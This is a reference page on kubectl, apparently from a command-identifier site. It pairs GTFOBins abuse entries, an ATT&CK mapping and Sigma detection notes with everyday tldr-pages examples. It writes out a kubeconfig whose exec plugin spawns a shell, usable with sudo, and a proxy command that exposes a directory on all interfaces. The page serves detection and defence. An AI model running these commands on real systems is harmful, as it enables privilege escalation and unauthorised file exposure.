Identifier / Programs / Linux and Unix

kubectl

Run commands against Kubernetes clusters. Some subcommands such as run have their own usage documentation. tldr-pages

GTFOBins shell, upload 1 ATT&CK technique 2 documented commands

How kubectl is abused

documented by GTFOBins

shell T1059.004 Command and Scripting Interpreter: Unix Shell

get

--kubeconfig

upload

proxy

--address

--port

--www

--www-prefix

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for kubectl.

2 documented commands

from GTFOBins, each read by the identifier

shell unprivileged, with sudo

The shell is spawn multiple times.

cat >/path/to/temp-file <<EOF
clusters:
- cluster:
    server: https://x
  name: x
contexts:
- context:
    cluster: x
    user: x
  name: x
current-context: x
users:
- name: x
  user:
    exec:
      apiVersion: client.authentication.k8s.io/v1
      interactiveMode: Always
      command: /bin/sh
      args:
        - '-c'
        - '/bin/sh 0<&2 1>&2'
EOF

kubectl get pods --kubeconfig=/path/to/temp-file

Identify

upload unprivileged, with sudo, as SUID

kubectl proxy --address=0.0.0.0 --port=12345 --www=/path/to/dir/ --www-prefix=/x/

Identify

None of the 2 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for kubectl. The identifier reads the line of each that runs kubectl.

What detects it

Sigma process creation rules

T1059.004Command and Scripting Interpreter: Unix Shell

Everyday use

from tldr-pages, CC BY 4.0

List information about a resource with more details

kubectl get pods --output wideIdentify

--outputOutput format. kubectl reference

Update specified pod with the label unhealthy and the value true

kubectl label pods name unhealthy=trueIdentify

List all resources with different types

kubectl get allIdentify

None of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.

kubectl

How kubectl is abused

2 documented commands

What detects it

Everyday use

Other programs abused for shell